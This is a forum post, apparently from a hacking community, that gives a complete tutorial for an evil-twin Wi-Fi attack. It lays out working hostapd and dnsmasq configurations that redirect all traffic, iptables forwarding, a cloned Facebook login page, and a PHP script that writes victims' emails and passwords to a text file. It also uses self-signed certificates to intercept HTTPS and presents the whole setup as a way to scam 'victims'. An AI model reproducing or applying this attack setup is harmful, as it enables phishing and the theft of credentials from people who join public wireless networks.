Jul 31, 2018 06:06 AM
(This post was last modified: Jul 31, 2018 06:55 AM by FriendZone.)
And now finally I'm going to show you how set up your own Captive Portal, probably you won't find a completed tutorial anywhere, except here!
First of all: This tutorial requires some skills, isn't hard, but if you're the kind of "hacker" who pretend to click buttons 'nd hack, simply go back, I won't explain every basic detail, I assume you are able to work with html, and some basic php code, and that's why you are here, coz you hate the templates other tools are offering, even modifying them you are seriously limited, I will guide you to set up a good Access Point to redirect every request to your local server.
First of all: This tutorial requires some skills, isn't hard, but if you're the kind of "hacker" who pretend to click buttons 'nd hack, simply go back, I won't explain every basic detail, I assume you are able to work with html, and some basic php code, and that's why you are here, coz you hate the templates other tools are offering, even modifying them you are seriously limited, I will guide you to set up a good Access Point to redirect every request to your local server.
Main Requirements: Hostapd, Dnsmasq, Apache2, Openssl
STEP 1: for this tutorial i will use 2 wifi cards wlan0 with internet working, and the second one wlan1 as access point
#airmon-ng start wlan1
STEP 2: let's make a clean directory for the .conf files
#mkdir /home/..../fakeAP
and create them
#nano /home/..../fakeAP/hostapd.conf
interface=wlan1mon
driver=nl80211
ssid=HERE THE SSID FOR THE EVIL TWIN
hw_mode=g
channel=HERE THE CHANNEL FOR THE EVIL TWIN
macaddr_acl=0
ignore_broadcast_ssid=0
and then save it and run it (move inside the fakeAP directory or call it with the right path)
#hostapd hostapd.conf
STEP 3: open a new terminal leaving hostapd running, and write the dnsmasq.conf
#nano /home/..../fakeAP/dnsmasq.conf
interface=wlan1mon
dhcp-range=192.168.1.2,192.168.1.30,255.255.255.0,12h
dhcp-option=3,192.168.1.1
dhcp-option=6,192.168.1.1
server=8.8.8.8
log-queries
log-dhcp
listen-address=127.0.0.1
address=/#/192.168.1.1
N.B. address=/#/192.168.1.1 will force any request to your server, and basically connecting any devices it will give an ! on the wifi, but it happens every time you connect to any public wifi which requires a login, doesn't it? btw it can be just for some particular site like: address=/google.com/192.168.1.1 and in this case you won't get a ! on the wifi icon (but you will require to set up traffic forwarding, check the STEP 6).
STEP 4: configure gateway and netmask for the wifi card
#ifconfig wlan1mon up 192.168.1.1 netmask 255.255.255.0
#route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1
STEP 5: let's run dnsmasq (move inside the fakeAP directory or call the right path)
#dnsmasq -C dnsmasq.conf -d
STEP 6: (OPTIONAL) TRAFFIC FORWARDING
#iptables --table nat --append POSTROUTING --out-interface wlan0 -j MASQUERADE
#iptables --append FORWARD --in-interface wlan1mon -j ACCEPT
#echo 1 > /proc/sys/net/ipv4/ip_forward
STEP 7: APACHE easiest configuration (no enabled userdir or virtualhost, maybe i will explain them in the following days, the easiest configuration in not safe, but against common victims is still ok)
So we have the index.html in /var/www/html , now you actually need to save the html of any login page you're trying to clone or save the offline page to get every resource offline in a linked directory, the second way can be helpful to avoid missing logos after some period, but you can still make your own fake login page or real server to scam the victim, why not?
In my example i will show the most common case with facebook.com (yeah not a modem login page but we could create a fake google page and clicking on search we could simply link our fake facebook page, you just need imagination and this hack is giving you a letal weapon!)
So, we have to create a php code to get username and password and save them in a file (we could use a database but still too complex all together and for few victims we don't really need it, anyway i will add it here in the future )
inside /var/www/html (you can make another dir to get a clean work if you want)
#nano process.php
<?php if(isset($_POST['email']) && isset($_POST['pass'])) { $password=file_get_contents('got.txt'); $handler = fopen("got.txt", "w"); fwrite($handler,$password."Email : ".$_POST['email']." , Password : ".$_POST['pass']."\n"); fclose($file); echo '<script>window.location.href="LINK TO THE FOLLOWING PAGE IN CASE WE FOUND EMAIL AND PASS"</script>'; } else echo '<script>window.location.href="index.html"</script>'; ?>
inside the facebook login html you will find something like this(ctrl+f):
<form id="login_form" action="................" method="post" onsubmit="return window.Event && Event.__inlineSubmit && Event.__inlineSubmit(this,event)">
you will add "process.php" instead of "................"
Save the login in var/www/html and rename it index.html if you want to show it as main page of any redirect and make the file got.txt, give it with chmod the write permissions by process.php (if you are in debugging phase simply give it every permission #chmod 777 got.txt, to be sure you re not encountering some security issue, the next part of tutorial which i will wrote will introduce the .htacess to protect your server files until that, every user will able to find it!)
STEP 8: enable php on apache, check if you have it installed
#apt-get install libapache2-mod-php7
#a2enmod php7.0 (or 7.2 , btw in the next tutorials we will change this module to work even in the user directory)
STEP 9: Well, until this point your server should running simply starting apache with #systemctl start apache2 and if you didn't force every site redirection in dnsmasq you would be able to navigate facing the login page only in the http sites added in address=/*.com/192.168.1.1 (example) (this can be useful in many cases)
But we are going to redirect any http or https request to our server and to do that we should add certificates , you can buy a legit one but probably it will be removed and you will lost you money , so we need to create a key and an self-signed certificate (we will need openssl)
#openssl genrsa -des3 -out server.key 1024
#openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout /etc/apache2/ssl/mysite.key -out /etc/apache2/ssl/mysite.crt
(make the ssl directory if missing in apache2)
this phase will ask you some infos and a password
STEP 10: we need to communicate where apache can find the key and certificate, so
#nano /etc/apache2/site-avaible/default-ssl.conf
and find :
SSLCertificateFile .....
SSLCetificateKeyFile .....
add to the their Path /etc/apache2/ssl/mysite.crt and /etc/apache2/ssl/mysite.key
And then we can force a permanent redirection to the https version of our site:
#nano /etc/apache2/site-avaible/000-default.conf
and we will add under #ServerName ...
Redirect Permanent / https : //192.168.1.1/ (remove the spaces between : )
STEP 11:
#a2enmod ssl
#systemctl start apache2
Conclusion: in this way you will get a untrusted certificate warning on every browser you will test, but if the victim will add it as exception, you have won, and believe me: almost every public login (like university login page) give this kind of warning!
What in this tutorial is missing, is the deauth attack part to force the victim to connect to the fake access point, but i guess no one need another aireplay tutorial right?
In the next tutorial we will create something safer in apache and I will give you some tips!
